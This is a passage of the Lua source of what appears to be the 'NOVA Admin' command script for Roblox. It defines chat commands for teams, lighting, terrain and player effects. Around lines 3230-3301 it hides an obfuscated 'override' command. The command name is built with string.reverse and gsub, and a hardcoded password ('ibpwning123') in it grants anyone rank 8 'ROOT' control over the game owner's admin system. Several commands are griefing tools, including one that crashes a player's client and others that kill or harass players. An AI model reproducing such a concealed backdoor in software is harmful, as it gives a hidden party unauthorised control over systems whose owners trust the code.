2887 | Base.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
2888 | local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation" | |
2889 | Spawn.Size=Vector3.new(6,1,6) | |
2890 | Spawn.Transparency=1 | |
2891 | Spawn.CanCollide=false | |
2892 | Spawn.Anchored=true | |
2893 | Spawn.Locked=true | |
2894 | Spawn.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
2895 | for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end | |
2896 | end | |
2897 | ) | |
2898 | ||
2899 | AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>", | |
2900 | function (Msg,Speaker) | |
2901 | Split = GetSplit(Msg) | |
2902 | for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do | |
2903 | pcall(function() | |
2904 | Team = nil | |
2905 | for _,find in pairs(NOVA.Services.Teams:GetChildren()) do | |
2906 | if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then | |
2907 | Team = find | |
2908 | end | |
2909 | end | |
2910 | v.TeamColor = Team.TeamColor | |
2911 | end) | |
2912 | end | |
2913 | end | |
2914 | ) | |
2915 | ||
2916 | AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments", | |
2917 | function(Msg,Speaker) | |
2918 | RemoveTablets(Speaker) | |
2919 | for _,v in pairs(NOVA.Services.Teams:GetChildren()) do | |
2920 | if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then | |
2921 | v:Remove() | |
2922 | end | |
2923 | end | |
2924 | end | |
2925 | ) | |
2926 | ||
2927 | AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>", | |
2928 | function(Msg,Speaker) | |
2929 | Split = GetSplit(Msg) | |
2930 | Team = Instance.new("Team",NOVA.Services.Teams) | |
2931 | Team.TeamColor = BrickColor.new(Msg:sub(Split+1)) | |
2932 | Team.Name = Msg:sub(1,Split-1) | |
2933 | Team.AutoAssignable = false | |
2934 | Team.Neutral = false | |
2935 | end | |
2936 | ) | |
2937 | ||
2938 | AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>", | |
2939 | function(Msg,Speaker) | |
2940 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2941 | v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end) | |
2942 | end | |
2943 | end | |
2944 | ) | |
2945 | ||
2946 | AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>", | |
2947 | function(Msg,Speaker) | |
2948 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2949 | local ride = Instance.new("VehicleSeat", Workspace) | |
2950 | ride.Position = v.Character.Torso.Position | |
2951 | ride.HeadsUpDisplay = false | |
2952 | ride.Size = Vector3.new(3,3,3) | |
2953 | local bg = Instance.new("BodyGyro", ride) | |
2954 | bg.maxTorque = Vector3.new(1e10,1e10,1e10) | |
2955 | local bp = Instance.new("BodyPosition", ride) | |
2956 | bp.position = v.Character.Torso.Position | |
2957 | bp.maxForce = Vector3.new(1e10,1e10,1e10) | |
2958 | Mesh = Instance.new("SpecialMesh") | |
2959 | Mesh.Parent = ride | |
2960 | Mesh.MeshType = Enum.MeshType.Sphere | |
2961 | ride.Transparency = 0.40000000596046 | |
2962 | ||
2963 | while wait() do | |
2964 | bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0) | |
2965 | bp.position = bp.position + bg.cframe.lookVector*ride.Throttle | |
2966 | end | |
2967 | end | |
2968 | end | |
2969 | ) | |
2970 | ||
2971 | ||
2972 | ||
2973 | AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>", | |
2974 | function(Msg,Speaker) | |
2975 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2976 | v.Chatted:connect(function() pcall(function() v:Destroy() end) end) | |
2977 | end | |
2978 | end | |
2979 | ) | |
2980 | ||
2981 | AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments", | |
2982 | function(Msg,Speaker) | |
2983 | for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do | |
2984 | if Prometheus ~= nil then | |
2985 | if v ~= Prometheus.script("lushmylife") then | |
2986 | pcall(function() | |
2987 | v:Destroy() | |
2988 | end) | |
2989 | end | |
2990 | else | |
2991 | pcall(function() | |
2992 | v:Destroy() | |
2993 | end) | |
2994 | end | |
2995 | end | |
2996 | local Base=Instance.new("Part",NOVA.Services.Workspace) | |
2997 | Base.Name="Base" | |
2998 | Base.Size=Vector3.new(2048,1,2048) | |
2999 | Base.BrickColor=BrickColor.new("Dark green") | |
3000 | Base.Anchored=true | |
3001 | Base.Locked=true | |
3002 | Base.TopSurface="Studs" | |
3003 | Base.Transparency = 0 | |
3004 | Base.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
3005 | local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation" | |
3006 | Spawn.Size=Vector3.new(6,1,6) | |
3007 | Spawn.Transparency=1 | |
3008 | Spawn.CanCollide=false | |
3009 | Spawn.Anchored=true | |
3010 | Spawn.Locked=true | |
3011 | Spawn.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
3012 | for _,v in pairs(GetPlayersRaw()) do | |
3013 | v:LoadCharacter() | |
3014 | end | |
3015 | end | |
3016 | ) | |
3017 | ||
3018 | AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments", | |
3019 | function(Msg,Speaker) | |
3020 | RemoveTablets(Speaker) | |
3021 | Explore(game,Speaker) | |
3022 | end | |
3023 | ) | |
3024 | ||
3025 | AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments", | |
3026 | function(Msg,Speaker) | |
3027 | if NOVA.LockedScripts == true then | |
3028 | NOVA.LockedScripts = false | |
3029 | elseif NOVA.LockedScripts == false then | |
3030 | NOVA.LockedScripts = true | |
3031 | end | |
3032 | end | |
3033 | ) | |
3034 | ||
3035 | AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>", | |
3036 | function(Msg,Speaker) | |
3037 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3038 | for i=1,25 do | |
3039 | coroutine.resume(coroutine.create(function() | |
3040 | wait() | |
3041 | local Part = Instance.new("Part",NOVA.Services.Workspace) | |
3042 | Part.FormFactor = "Custom" | |
3043 | Part.Transparency = 1 | |
3044 | Part.CanCollide = false | |
3045 | Part.Anchored = false | |
3046 | Part.Locked = true | |
3047 | Part.Size = Vector3.new(1,1,1) | |
3048 | Part.CFrame = v.Character.Head.CFrame | |
3049 | Part:BreakJoints() | |
3050 | local BBG = Instance.new("BillboardGui",Part) | |
3051 | BBG.Adornee = Part | |
3052 | BBG.Size = UDim2.new(3,0,1,0) | |
3053 | --BBG.StudsOffset = Vector3.new(0, 0, 1) | |
3054 | ||
3055 | local Img = Instance.new("ImageLabel",BBG) | |
3056 | Img.Size = UDim2.new(1,0,1,0) | |
3057 | Img.BackgroundTransparency = 1 | |
3058 | Img.Image = "http://www.roblox.com/asset/?id=45120559" | |
3059 | local BP = Instance.new("BodyPosition",Part) | |
3060 | BP.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
3061 | --BP.D = 2000 | |
3062 | BP.P = 1000 | |
3063 | BP.position = Part.Position + Vector3.new( | |
3064 | math.random(-7,7), | |
3065 | math.random(-7,7), | |
3066 | math.random(-7,7)) | |
3067 | for v = 3,0,-0.1 do | |
3068 | wait(0.1) | |
3069 | BBG.Size = UDim2.new(v,0,v,0) | |
3070 | end | |
3071 | Part:Remove() | |
3072 | end)) | |
3073 | end | |
3074 | end | |
3075 | end | |
3076 | ) | |
3077 | ||
3078 | AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments", | |
3079 | function(Msg,Speaker) | |
3080 | NOVA.Canceled = true | |
3081 | end | |
3082 | ) | |
3083 | ||
3084 | AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>", | |
3085 | function(Msg,Speaker) | |
3086 | Split = GetSplit(Msg) | |
3087 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3088 | pcall(function() | |
3089 | local OldHead = v.Character.Head | |
3090 | local Model = Instance.new("Model",v.Character.Head) | |
3091 | Model.Name = Msg:sub(Split+1) | |
3092 | local Head = OldHead:Clone() | |
3093 | Head.Parent = Model | |
3094 | Head.Transparency = 0 | |
3095 | Head.Name = "Head" | |
3096 | Head.CanCollide = false | |
3097 | local Hum = Instance.new("Humanoid",Model) | |
3098 | Hum.MaxHealth = 0 | |
3099 | local Weld = Instance.new("Weld",Head) | |
3100 | Weld.Part0 = Head | |
3101 | Weld.Part1 = OldHead | |
3102 | Weld.C0 = CFrame.new(0,0,0) | |
3103 | OldHead.Transparency = 1 | |
3104 | end) | |
3105 | end | |
3106 | end | |
3107 | ) | |
3108 | ||
3109 | AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>", | |
3110 | function(Msg,Speaker) | |
3111 | Split = GetSplit(Msg) | |
3112 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3113 | pcall(function() | |
3114 | local Char = v.Character | |
3115 | Char.Archivable = true | |
3116 | Char = Char:Clone() | |
3117 | Char.Name = Msg:sub(Split+1) | |
3118 | v.Character:Destroy() | |
3119 | Char.Parent = workspace | |
3120 | v.Character = Char | |
3121 | end) | |
3122 | end | |
3123 | end | |
3124 | ) | |
3125 | ||
3126 | AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>", | |
3127 | function(Msg,Speaker) | |
3128 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3129 | CreateLocalScript([[ | |
3130 | script.Parent = nil | |
3131 | LocalPlayer = game.Players.LocalPlayer | |
3132 | Camera = workspace.CurrentCamera | |
3133 | Camera.CameraType = "Scriptable" | |
3134 | for i=1,700 do | |
3135 | wait() | |
3136 | Camera = workspace.CurrentCamera | |
3137 | Camera.CameraType = "Scriptable" | |
3138 | Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5) | |
3139 | Camera.CameraType = "Scriptable" | |
3140 | Camera:SetRoll(Camera:GetRoll()+0.01) | |
3141 | pcall(function() | |
3142 | LocalPlayer.Character.Head.Sound:Play() | |
3143 | end) | |
3144 | end | |
3145 | Camera:SetRoll(0) | |
3146 | Camera.CameraType = "Custom" | |
3147 | Camera.FieldOfView = 70 | |
3148 | Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid | |
3149 | ]],v.Backpack) | |
3150 | end | |
3151 | end | |
3152 | ) | |
3153 | ||
3154 | AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>", | |
3155 | function(Msg,Speaker) | |
3156 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3157 | CreateLocalScript([[ | |
3158 | script.Parent = nil | |
3159 | LocalPlayer = game.Players.LocalPlayer | |
3160 | Camera = workspace.CurrentCamera | |
3161 | Camera.CameraType = "Scriptable" | |
3162 | for i=1,math.huge do | |
3163 | wait() | |
3164 | Camera = workspace.CurrentCamera | |
3165 | Camera.CameraType = "Scriptable" | |
3166 | Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5) | |
3167 | Camera.CameraType = "Scriptable" | |
3168 | Camera:SetRoll(Camera:GetRoll()+0.01) | |
3169 | pcall(function() | |
3170 | LocalPlayer.Character.Head.Sound:Play() | |
3171 | end) | |
3172 | end | |
3173 | Camera:SetRoll(0) | |
3174 | Camera.CameraType = "Custom" | |
3175 | Camera.FieldOfView = 70 | |
3176 | Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid | |
3177 | ]],v.Backpack) | |
3178 | end | |
3179 | end | |
3180 | ) | |
3181 | ||
3182 | AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments", | |
3183 | function(Msg,Speaker) | |
3184 | for _,v in pairs(NOVA.Credit) do | |
3185 | Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker) | |
3186 | end | |
3187 | end | |
3188 | ) | |
3189 | ||
3190 | AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments", | |
3191 | function(Msg,Speaker) | |
3192 | pcall(function() | |
3193 | Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) | |
3194 | Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0) | |
3195 | Speaker.Character.Torso.CFrame = CFrame.new(0,50,0) | |
3196 | end) | |
3197 | end | |
3198 | ) | |
3199 | ||
3200 | AddCommand("Time","time",1,"Changes the time.","<Number>", | |
3201 | function(Msg,Speaker) | |
3202 | NOVA.Services.Lighting.TimeOfDay = Msg | |
3203 | end | |
3204 | ) | |
3205 | ||
3206 | AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>", | |
3207 | function(Msg,Speaker) | |
3208 | NOVA.Services.Lighting.FogEnd = Msg | |
3209 | end | |
3210 | ) | |
3211 | ||
3212 | AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>", | |
3213 | function(Msg,Speaker) | |
3214 | NOVA.Services.Lighting.FogStart = Msg | |
3215 | end | |
3216 | ) | |
3217 | ||
3218 | AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>", | |
3219 | function(Msg,Speaker) | |
3220 | if Msg == "red" then Color = NOVA.Colors.Red | |
3221 | elseif Msg == "black" then Color = NOVA.Colors.Black | |
3222 | elseif Msg == "white" then Color = NOVA.Colors.White | |
3223 | elseif Msg == "orange" then Color = NOVA.Colors.Orange | |
3224 | elseif Msg == "green" then Color = NOVA.Colors.Green | |
3225 | elseif Msg == "blue" then Color = NOVA.Colors.Blue | |
3226 | end | |
3227 | NOVA.Services.Lighting.FogColor = Color | |
3228 | end | |
3229 | ) | |
3230 | --deride | |
3231 | AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","", | |
3232 | function(Msg,Speaker) | |
3233 | CanOverride = false | |
3234 | if GetRank(Speaker) < 6 then | |
3235 | if Msg == "ibpwning123" then | |
3236 | CanOverride = true | |
3237 | else | |
3238 | Output("Incorrect password.",NOVA.Colors.Red,Speaker,15) | |
3239 | end | |
3240 | else | |
3241 | CanOverride = true | |
3242 | end | |
3243 | if NOVA.Overrided == true then | |
3244 | CanOverride = false | |
3245 | Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20) | |
3246 | return | |
3247 | end | |
3248 | if CanOverride == true then | |
3249 | NOVA.Overrided = true | |
3250 | NOVA.Overrider = Speaker | |
3251 | --[[for _,v in pairs(NOVA.Ranked) do | |
3252 | if v.Rank < 6 then | |
3253 | v.Rank = v.Rank / 10 | |
3254 | end | |
3255 | end]] | |
3256 | --[[ CF = Speaker.Character.Torso.CFrame | |
3257 | Sound = Instance.new("Sound",workspace) | |
3258 | Sound.SoundId = "http://www.roblox.com/asset?id=2248511" | |
3259 | Sound.Pitch = 0.2 | |
3260 | Sound.Volume = 1 | |
3261 | wait() | |
3262 | Sound:Play() | |
3263 | Shockwave = Instance.new("Part",workspace) | |
3264 | Shockwave.FormFactor = "Custom" | |
3265 | Shockwave.Name = "Shockwave" | |
3266 | Shockwave.Anchored = true | |
3267 | Shockwave.CanCollide = false | |
3268 | Shockwave.Transparency = 0 | |
3269 | Shockwave.Reflectance = 0 | |
3270 | Shockwave.BrickColor = BrickColor.new(0,0,0) | |
3271 | Shockwave.Size = Vector3.new(0,0,0) | |
3272 | ShockwaveMesh = Instance.new("SpecialMesh",Shockwave) | |
3273 | ShockwaveMesh.MeshType = "FileMesh" | |
3274 | ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017" | |
3275 | ShockwaveMesh.Scale = Vector3.new(1,1,100) | |
3276 | ||
3277 | for Times = 1,10 do | |
3278 | coroutine.resume(coroutine.create(function() | |
3279 | for i=1,1000 do | |
3280 | wait() | |
3281 | ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0) | |
3282 | Shockwave.CFrame = CF | |
3283 | * CFrame.new(0,0,0) | |
3284 | * CFrame.Angles(math.rad(90),0,0) | |
3285 | Shockwave.Transparency = i/100 | |
3286 | end | |
3287 | Shockwave:Remove() | |
3288 | Sound:Remove() | |
3289 | end)) | |
3290 | end | |
3291 | ||
3292 | ]] | |
3293 | GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10) | |
3294 | Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60) | |
3295 | Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60) | |
3296 | Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60) | |
3297 | OnChatted(NOVA.Bet .. "fence/me",Speaker) | |
3298 | end | |
3299 | return CanOverride | |
3300 | end | |
3301 | ) | |
3302 | ||
3303 | AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns", | |
3304 | function(Msg,Speaker) | |
3305 | NOVA.Overrided = false | |
3306 | for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end | |
3307 | NOVA.Targeted = {}; | |
3308 | NOVA.Waypoints = {}; | |
3309 | NOVA.Log = {}; | |
3310 | NOVA.LoggedScripts = {}; | |
3311 | NOVA.PRI = false; | |
3312 | NOVA.LockedScripts = false; | |
3313 | NOVA.Removed = false; | |
3314 | NOVA.ShowChat = true; | |
3315 | NOVA.Canceled = false; | |
3316 | NOVA.TimeChanged = false; | |
3317 | NOVA.Overrider = nil | |
3318 | for _,v in pairs(NOVA.Ranked) do | |
3319 | if #tostring(v.Rank) == 3 then | |
3320 | if tostring(v.Rank):sub(1,1) == "8" then | |
3321 | v.Rank = (v.Rank - 8) * 10 | |
3322 | else | |
3323 | --v.Rank = v.Rank * 10 | |
3324 | end | |
3325 | end | |
3326 | end | |
3327 | end | |
3328 | ) | |
3329 | ||
3330 | AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>", | |
3331 | function(Msg,Speaker) | |
3332 | Split = GetSplit(Msg) | |
3333 | ||
3334 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3335 | OnChatted(Msg:sub(Split),v) | |
3336 | end | |
3337 | end | |
3338 | ) | |
3339 | ||
3340 | AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>", | |
3341 | function(Msg,Speaker) | |
3342 | Split = GetSplit(Msg) | |
3343 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3344 | Output(Msg:sub(Split+1),"Random",v,10) | |
3345 | end | |
3346 | end | |
3347 | ) | |
3348 | ||
3349 | AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>", | |
3350 | function(Msg,Speaker) | |
3351 | Split = GetSplit(Msg) | |
3352 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3353 | pcall(function() | |
3354 | v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1)) | |
3355 | end) | |
3356 | end | |
3357 | end | |
3358 | ) | |
3359 | ||
3360 | AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>", | |
3361 | function(Msg,Speaker) | |
3362 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3363 | for i=1,6 do | |
3364 | local Cube = Instance.new("Part",NOVA.Services.Workspace) | |
3365 | Cube.FormFactor = "Custom" | |
3366 | Cube.Size = Vector3.new(10,7,5) | |
3367 | Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random()) | |
3368 | Cube.Anchored = false | |
3369 | Cube.CanCollide = true | |
3370 | Cube.Locked = true | |
3371 | Cube.Friction = 0 | |
3372 | Cube.Transparency= 0 | |
3373 | Cube.Reflectance = 0.5 | |
3374 | Cube:BreakJoints() | |
3375 | Cube.CFrame = v.Character.Torso.CFrame | |
3376 | local Mesh = Instance.new("SpecialMesh",Cube) | |
3377 | Mesh.MeshType = "FileMesh" | |
3378 | Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523" | |
3379 | Mesh.Scale = Vector3.new(0.1,0.1,0.1) | |
3380 | Cube.Touched:connect(function(part) | |
3381 | --if part == v.Character.Torso then | |
3382 | part:BreakJoints() | |
3383 | NOVA.Services.Debris:AddItem(Cube,20) | |
3384 | --end | |
3385 | end) | |
3386 | end | |
3387 | end | |
3388 | end | |
3389 | ) | |
3390 | ||
3391 | AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>", | |
3392 | function(Msg,Speaker) | |
3393 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3394 | pcall(function() | |
3395 | v.PlayerGui:ClearAllChildren() | |
3396 | end) | |
3397 | end | |
3398 | end | |
3399 | ) | |
3400 | ||
3401 | AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>", | |
3402 | function(Msg,Speaker) | |
3403 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3404 | pcall(function() | |
3405 | v.PlayerGui:Destroy() | |
3406 | end) | |
3407 | end | |
3408 | end | |
3409 | ) | |
3410 | ||
3411 | AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>", | |
3412 | function(Msg,Speaker) | |
3413 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3414 | pcall(function() | |
3415 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3416 | if part:IsA("BasePart") then | |
3417 | Instance.new("Fire",part) | |
3418 | end | |
3419 | end | |
3420 | end) | |
3421 | end | |
3422 | end | |
3423 | ) | |
3424 | ||
3425 | AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>", | |
3426 | function(Msg,Speaker) | |
3427 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3428 | pcall(function() | |
3429 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3430 | if part:IsA("Fire") then | |
3431 | part:Destroy() | |
3432 | end | |
3433 | end | |
3434 | end) | |
3435 | end | |
3436 | end | |
3437 | ) | |
3438 | ||
3439 | AddCommand("Burn","burn",3,"Burns the selected player.","<Player>", | |
3440 | function(Msg,Speaker) | |
3441 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3442 | pcall(function() | |
3443 | coroutine.resume(coroutine.create(function() | |
3444 | local Fire = Instance.new("Fire",v.Character.Torso) | |
3445 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
3446 | if part:IsA("BasePart") then | |
3447 | Instance.new("Fire",part) | |
3448 | end | |
3449 | end | |
3450 | wait() | |
3451 | for i=1,math.huge do | |
3452 | if Fire.Parent == nil then break end | |
3453 | if v.Character.Humanoid == nil then break end | |
3454 | if v.Character.Humanoid.Health <= 0 then break end | |
3455 | v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7) | |
3456 | wait(math.random(0,1)) | |
3457 | end | |
3458 | end)) | |
3459 | end) | |
3460 | end | |
3461 | end | |
3462 | ) | |
3463 | ||
3464 | AddCommand("Heal","heal",1,"Heals the selected player.","<Player>", | |
3465 | function(Msg,Speaker) | |
3466 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3467 | pcall(function() | |
3468 | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth | |
3469 | end) | |
3470 | end | |
3471 | end | |
3472 | ) | |
3473 | ||
3474 | AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>", | |
3475 | function(Msg,Speaker) | |
3476 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3477 | pcall(function() | |
3478 | v.Character.Humanoid.WalkSpeed = tonumber("1e+999") | |
3479 | end) | |
3480 | end | |
3481 | end | |
3482 | ) | |
3483 | ||
3484 | AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>", | |
3485 | function(Msg,Speaker) | |
3486 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3487 | Cape(v) | |
3488 | end | |
3489 | end | |
3490 | ) | |
3491 | ||
3492 | AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments", | |
3493 | function(Msg,Speaker) | |
3494 | coroutine.resume(coroutine.create(function() | |
3495 | ||
3496 | Material = math.random(1,16) | |
3497 | Cap = 1000 | |
3498 | GenNum = 50 | |
3499 | Size = 100 | |
3500 | Type = math.random(0,4) | |
3501 | for i=1, Cap do | |
3502 | --wait() | |
3503 | for i=1,GenNum do | |
3504 | Material = math.random(1,16) | |
3505 | Type = math.random(0,4) | |
3506 | X = math.random((Size/2)*-1,Size/2) | |
3507 | Y = math.random(-1,Size-1) | |
3508 | Z = math.random((Size/2)*-1,Size/2) | |
3509 | NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0) | |
3510 | end | |
3511 | end | |
3512 | end)) | |
3513 | end | |
3514 | ) | |
3515 | ||
3516 | AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments", | |
3517 | function(Msg,Speaker) | |
3518 | NOVA.Services.Workspace.Terrain:Clear() | |
3519 | end | |
3520 | ) | |
3521 | ||
3522 | AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments", | |
3523 | function(Msg,Speaker) | |
3524 | coroutine.resume(coroutine.create(function() | |
3525 | size = Vector3.new(700, 12, 700) | |
3526 | for X=(size.x/2)*-1,size.x/2 do | |
3527 | for Y=-1, size.y-1 do | |
3528 | for Z=(size.z/2)*-1, size.z/2 do | |
3529 | NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0) | |
3530 | end | |
3531 | end | |
3532 | --wait(tonumber("0."..string.rep("0",10000).."1")) | |
3533 | end | |
3534 | end)) | |
3535 | end | |
3536 | ) | |
3537 | if NOVA.AntiCamball == true then | |
3538 | Delay(0, function() | |
3539 | while wait() do | |
3540 | pcall(function() | |
3541 | e=workspace:findFirstChild("Focus", true) | |
3542 | e.Parent.Head:Destroy() | |
3543 | e:Destroy() | |
3544 | end) | |
3545 | end | |
3546 | end) | |
3547 | end | |
3548 | AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>", | |
3549 | function(Msg,Speaker) | |
3550 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3551 | Char = v.Character | |
3552 | pcall(function() Char["Shirt Graphic"]:Remove() end) | |
3553 | pcall(function() Char.Humanoid.MaxHealth = math.huge end) | |
3554 | pcall(function() Char["Body Colors"]:Remove() end) | |
3555 | pcall(function() Char.Torso.roblox:Remove() end) | |
3556 | pcall(function() Char.Shirt:Remove() end) | |
3557 | pcall(function() Char.Pants:Remove() end) | |
3558 | wait() | |
3559 | for _,v in pairs(GetRecursiveChildren(Char)) do | |
3560 | pcall(function() | |
3561 | v.TextureId = "" v.VertexColor = NOVA.Colors.Black | |
3562 | end) | |
3563 | pcall(function() | |
3564 | v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black)) | |
3565 | v.Reflectance = 0 | |
3566 | v.TopSurface = "Smooth" | |
3567 | a.BottomSurfave = "Smooth" | |
3568 | end) | |
3569 | end | |
3570 | end | |
3571 | end | |
3572 | ) | |
3573 | ||
3574 | AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>", | |
3575 | function(Msg,Speaker) | |
3576 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3577 | v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914" | |
3578 | wait() | |
3579 | v.Character:BreakJoints() | |
3580 | end | |
3581 | end | |
3582 | ) | |
3583 | ||
3584 | AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>", | |
3585 | function(Msg,Speaker) | |
3586 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
3587 | local Part = Instance.new("Part",v.Character) | |
3588 | Part.Name = "Horus" | |
3589 | Part.Size = Vector3.new(2,2,2) | |
3590 | Part.CanCollide = false | |
3591 | Part.Locked = true | |
3592 | Part:BreakJoints() | |
3593 | local Weld = Instance.new("Weld",Part) | |
3594 | Weld.Part0 = Part | |
3595 | Weld.Part1 = v.Character.Head | |
3596 | Weld.C0 = CFrame.new(0,-0.5,0) | |
3597 | local Mesh = Instance.new("SpecialMesh",Part) | |
3598 | Mesh.MeshType = "FileMesh" | |
3599 | Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738" | |
3600 | Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599" | |
3601 | for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do | |
3602 | v:Remove() | |
3603 | end | |
3604 | pcall(function() | |
3605 | v.Character.Pants:Remove() | |
3606 | end) | |
3607 | pcall(function() | |
3608 | v.Character.Shirt:Remove() | |
3609 | end) | |
3610 | local Shirt = Instance.new("Shirt",v.Character) | |
3611 | Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180" | |
3612 | local Pants = Instance.new("Pants",v.Character) | |
3613 | Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108" | |
3614 | end | |
3615 | end | |
3616 | ) | |
3617 | ||
3618 | AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>", | |
3619 | function(Msg,Speaker) | |
3620 | Split = GetSplit(Msg) | |
3621 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
3622 | v.Neutral = Msg:sub(Split+1) | |
3623 | end | |
3624 | end | |
3625 | ) | |
3626 | ||
3627 | AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments", | |
3628 | function(Msg,Speaker) | |
